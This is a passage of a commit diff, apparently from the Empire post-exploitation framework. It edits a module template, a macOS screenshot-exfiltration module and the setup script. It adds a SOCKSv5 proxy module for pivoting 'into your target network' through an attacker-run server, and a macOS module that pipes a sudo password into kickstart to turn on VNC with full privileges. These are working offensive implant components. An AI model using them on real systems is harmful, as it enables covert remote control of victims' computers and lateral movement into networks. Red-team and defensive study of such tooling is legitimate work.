|
||||||
}
|
}
|
||||||
|
|
||||||
# save off a copy of the mainMenu object to access external functionality
|
# Save off a copy of the mainMenu object to access external
|
||||||
# like listeners/agent handlers/etc.
|
# functionality like listeners/agent handlers/etc.
|
||||||
self.mainMenu = mainMenu
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
# During instantiation, any settable option parameters
|
# During instantiation, any settable option parameters are passed as
|
||||||
# are passed as an object set to the module and the
|
# an object set to the module and the options dictionary is
|
||||||
# options dictionary is automatically set. This is mostly
|
# automatically set. This is mostly in case options are passed on
|
||||||
# in case options are passed on the command line
|
# the command line.
|
||||||
if params:
|
if params:
|
||||||
for param in params:
|
for param in params:
|
||||||
# parameter format is [Name, Value]
|
# Parameter format is [Name, Value]
|
||||||
option, value = param
|
option, value = param
|
||||||
if option in self.options:
|
if option in self.options:
|
||||||
self.options[option]['Value'] = value
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
|
||||||
# the PowerShell script itself, with the command to invoke
|
# The PowerShell script itself, with the command to invoke for
|
||||||
# for execution appended to the end. Scripts should output
|
# execution appended to the end. Scripts should output everything
|
||||||
# everything to the pipeline for proper parsing.
|
# to the pipeline for proper parsing.
|
||||||
#
|
#
|
||||||
# the script should be stripped of comments, with a link to any
|
# If you're planning on storing your script in module_source as a ps1,
|
||||||
# original reference script included in the comments.
|
# or if you're importing a shared module_source, use the first
|
||||||
script = """
|
# method to import it and the second to add any additional code and
|
||||||
function Invoke-Something {
|
# launch it.
|
||||||
|
#
|
||||||
}
|
# If you're just going to inline your script, you can delete the first
|
||||||
Invoke-Something"""
|
# method entirely and just use the second. The script should be
|
||||||
|
# stripped of comments, with a link to any original reference script
|
||||||
|
# included in the comments.
|
||||||
# if you're reading in a large, external script that might be updates,
|
#
|
||||||
# use the pattern below
|
# First method: Read in the source script from module_source
|
||||||
# read in the common module source code
|
|
||||||
moduleSource = self.mainMenu.installPath + "/data/module_source/..."
|
moduleSource = self.mainMenu.installPath + "/data/module_source/..."
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||||
|
@ -105,11 +105,32 @@ Invoke-Something"""
|
||||||
moduleCode = f.read()
|
moduleCode = f.read()
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
|
# If you'd just like to import a subset of the functions from the
|
||||||
|
# module source, use the following:
|
||||||
|
# script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
|
||||||
script = moduleCode
|
script = moduleCode
|
||||||
|
|
||||||
|
# Second method: For calling your imported source, or holding your
|
||||||
|
# inlined script. If you're importing source using the first method,
|
||||||
|
# ensure that you append to the script variable rather than set.
|
||||||
|
#
|
||||||
|
# The script should be stripped of comments, with a link to any
|
||||||
|
# original reference script included in the comments.
|
||||||
|
#
|
||||||
|
# If your script is more than a few lines, it's probably best to use
|
||||||
|
# the first method to source it.
|
||||||
|
#
|
||||||
|
# script += """
|
||||||
|
script = """
|
||||||
|
function Invoke-Something {
|
||||||
|
|
||||||
|
}
|
||||||
|
Invoke-Something"""
|
||||||
|
|
||||||
scriptEnd = ""
|
scriptEnd = ""
|
||||||
# add any arguments to the end execution of the script
|
|
||||||
for option,values in self.options.iteritems():
|
# Add any arguments to the end execution of the script
|
||||||
|
for option, values in self.options.iteritems():
|
||||||
if option.lower() != "agent":
|
if option.lower() != "agent":
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
if values['Value'].lower() == "true":
|
if values['Value'].lower() == "true":
|
||||||
|
|
|
@ -73,7 +73,7 @@ class Module:
|
||||||
|
|
||||||
script = """
|
script = """
|
||||||
# take a screenshot using screencapture
|
# take a screenshot using screencapture
|
||||||
run_command('screencapture -x /tmp/out.png')
|
run_command('screencapture -x %s')
|
||||||
# base64 up resulting file, delete the file, return the base64 of the png output
|
# base64 up resulting file, delete the file, return the base64 of the png output
|
||||||
# mocked from the Empire screenshot module
|
# mocked from the Empire screenshot module
|
||||||
f = open('%s', 'rb')
|
f = open('%s', 'rb')
|
||||||
|
@ -81,6 +81,6 @@ data = f.read()
|
||||||
f.close()
|
f.close()
|
||||||
run_command('rm -f %s')
|
run_command('rm -f %s')
|
||||||
print data
|
print data
|
||||||
""" % (savePath, savePath)
|
""" % (savePath, savePath, savePath)
|
||||||
|
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -0,0 +1,99 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
import os
|
||||||
|
import string
|
||||||
|
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# name for the module that will appear in module menus
|
||||||
|
'Name': 'SOCKSv5 proxy',
|
||||||
|
|
||||||
|
# list of one or more authors for the module
|
||||||
|
'Author': ['@klustic'],
|
||||||
|
|
||||||
|
# more verbose multi-line description of the module
|
||||||
|
'Description': ('Extend a SOCKSv5 proxy into your target network'),
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background': True,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
# no need to base64 return data
|
||||||
|
'OutputExtension': None,
|
||||||
|
|
||||||
|
'NeedsAdmin': False,
|
||||||
|
|
||||||
|
# the module language
|
||||||
|
'Language' : 'python',
|
||||||
|
|
||||||
|
# the minimum language version needed
|
||||||
|
'MinLanguageVersion' : '2.7',
|
||||||
|
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe': True,
|
||||||
|
|
||||||
|
# list of any references/other comments
|
||||||
|
'Comments': [
|
||||||
|
'Modified from: https://github.com/klustic/AlmondRocks',
|
||||||
|
'Use the server found in that Github repo with this module.'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent': {
|
||||||
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
|
'Description' : 'Agent to proxy through',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'HOST': {
|
||||||
|
'Description' : 'Host running the AlmondRocks server',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'PORT': {
|
||||||
|
'Description' : 'AlmondRocks server port',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'NoSSL': {
|
||||||
|
'Description' : 'Disable SSL (NOT RECOMMENDED!)',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'false'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
if params:
|
||||||
|
for option, value in params:
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
module_path = os.path.join(self.mainMenu.installPath,
|
||||||
|
'data/module_source/python/lateral_movement/socks_source.py')
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(module_path) as f:
|
||||||
|
script_template = string.Template(f.read())
|
||||||
|
except Exception as e:
|
||||||
|
print helpers.color('[!] Error reading {}: {}'.format(str(module_path), e))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
options = {x.lower(): y for x, y in self.options.items()}
|
||||||
|
host = options.get('host', {}).get('Value')
|
||||||
|
port = options.get('port', {}).get('Value')
|
||||||
|
if options.get('nossl', {}).get('Value', 'false').lower() == 'true':
|
||||||
|
no_ssl = True
|
||||||
|
else:
|
||||||
|
no_ssl = False
|
||||||
|
|
||||||
|
return script_template.substitute(host=host, port=port, no_ssl=no_ssl)
|
|
@ -0,0 +1,86 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# name for the module that will appear in module menus
|
||||||
|
'Name': 'ScreenSharing',
|
||||||
|
|
||||||
|
# list of one or more authors for the module
|
||||||
|
'Author': ['@n00py'],
|
||||||
|
|
||||||
|
# more verbose multi-line description of the module
|
||||||
|
'Description': ('Enables ScreenSharing to allow you to connect to the host via VNC.'),
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background' : False,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
'OutputExtension' : "",
|
||||||
|
|
||||||
|
# if the module needs administrative privileges
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
|
||||||
|
# the module language
|
||||||
|
'Language' : 'python',
|
||||||
|
|
||||||
|
# the minimum language version needed
|
||||||
|
'MinLanguageVersion' : '2.6',
|
||||||
|
|
||||||
|
# list of any references/other comments
|
||||||
|
'Comments': ['https://www.unix-ninja.com/p/Enabling_macOS_screen_sharing_VNC_via_command_line']
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to execute module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'User password for sudo.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'VNCpass' : {
|
||||||
|
'Description' : 'Password to use for VNC',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
# During instantiation, any settable option parameters
|
||||||
|
# are passed as an object set to the module and the
|
||||||
|
# options dictionary is automatically set. This is mostly
|
||||||
|
# in case options are passed on the command line
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
password = self.options['Password']['Value']
|
||||||
|
vncpass = self.options['VNCpass']['Value']
|
||||||
|
|
||||||
|
enable = "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -clientopts -setvncpw -vncpw %s -restart -agent -privs -all" % (vncpass)
|
||||||
|
script = 'import subprocess; subprocess.Popen("echo \\"%s\\" | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, enable)
|
||||||
|
return script
|
|
@ -15,7 +15,7 @@ fi
|
||||||
version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 )
|
version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 )
|
||||||
if lsb_release -d | grep -q "Fedora"; then
|
if lsb_release -d | grep -q "Fedora"; then
|
||||||
Release=Fedora
|
Release=Fedora
|
||||||
dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel
|
dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev
|
||||||
pip install setuptools
|
pip install setuptools
|
||||||
pip install pycrypto
|
pip install pycrypto
|
||||||
pip install iptools
|
pip install iptools
|
||||||
|
@ -23,13 +23,12 @@ if lsb_release -d | grep -q "Fedora"; then
|
||||||
pip install flask
|
pip install flask
|
||||||
pip install macholib
|
pip install macholib
|
||||||
pip install dropbox
|
pip install dropbox
|
||||||
pip install pyopenssl
|
pip install pyOpenSSL
|
||||||
pip install pyinstaller
|
pip install pyinstaller
|
||||||
pip install zlib_wrapper
|
pip install zlib_wrapper
|
||||||
elif lsb_release -d | grep -q "Kali"; then
|
elif lsb_release -d | grep -q "Kali"; then
|
||||||
Release=Kali
|
Release=Kali
|
||||||
apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev
|
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
|
||||||
easy_install pip
|
|
||||||
pip install setuptools
|
pip install setuptools
|
||||||
pip install pycrypto
|
pip install pycrypto
|
||||||
pip install iptools
|
pip install iptools
|
||||||
|
@ -37,7 +36,7 @@ elif lsb_release -d | grep -q "Kali"; then
|
||||||
pip install flask
|
pip install flask
|
||||||
pip install macholib
|
pip install macholib
|
||||||
pip install dropbox
|
pip install dropbox
|
||||||
pip install pyopenssl
|
pip install pyOpenSSL
|
||||||
pip install pyinstaller
|
pip install pyinstaller
|
||||||
pip install zlib_wrapper
|
pip install zlib_wrapper
|
||||||
if ! which powershell > /dev/null; then
|
if ! which powershell > /dev/null; then
|
||||||
|
@ -54,8 +53,7 @@ elif lsb_release -d | grep -q "Kali"; then
|
||||||
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
|
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
|
||||||
elif lsb_release -d | grep -q "Ubuntu"; then
|
elif lsb_release -d | grep -q "Ubuntu"; then
|
||||||
Release=Ubuntu
|
Release=Ubuntu
|
||||||
apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev
|
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
|
||||||
easy_install pip
|
|
||||||
pip install setuptools
|
pip install setuptools
|
||||||
pip install pycrypto
|
pip install pycrypto
|
||||||
pip install iptools
|
pip install iptools
|
||||||
|
@ -81,8 +79,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
|
||||||
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
|
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
|
||||||
else
|
else
|
||||||
echo "Unknown distro - Debian/Ubuntu Fallback"
|
echo "Unknown distro - Debian/Ubuntu Fallback"
|
||||||
apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libffi-dev libssl-dev
|
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev
|
||||||
easy_install pip
|
|
||||||
pip install setuptools
|
pip install setuptools
|
||||||
pip install pycrypto
|
pip install pycrypto
|
||||||
pip install iptools
|
pip install iptools
|
||||||
|
@ -91,7 +88,7 @@ else
|
||||||
pip install macholib
|
pip install macholib
|
||||||
pip install dropbox
|
pip install dropbox
|
||||||
pip install cryptography
|
pip install cryptography
|
||||||
pip install python-openssl
|
pip install pyOpenSSL
|
||||||
pip install pyinstaller
|
pip install pyinstaller
|
||||||
pip install zlib_wrapper
|
pip install zlib_wrapper
|
||||||
if ! which powershell > /dev/null; then
|
if ! which powershell > /dev/null; then
|
||||||
|
|
Loading…
Reference in New Issue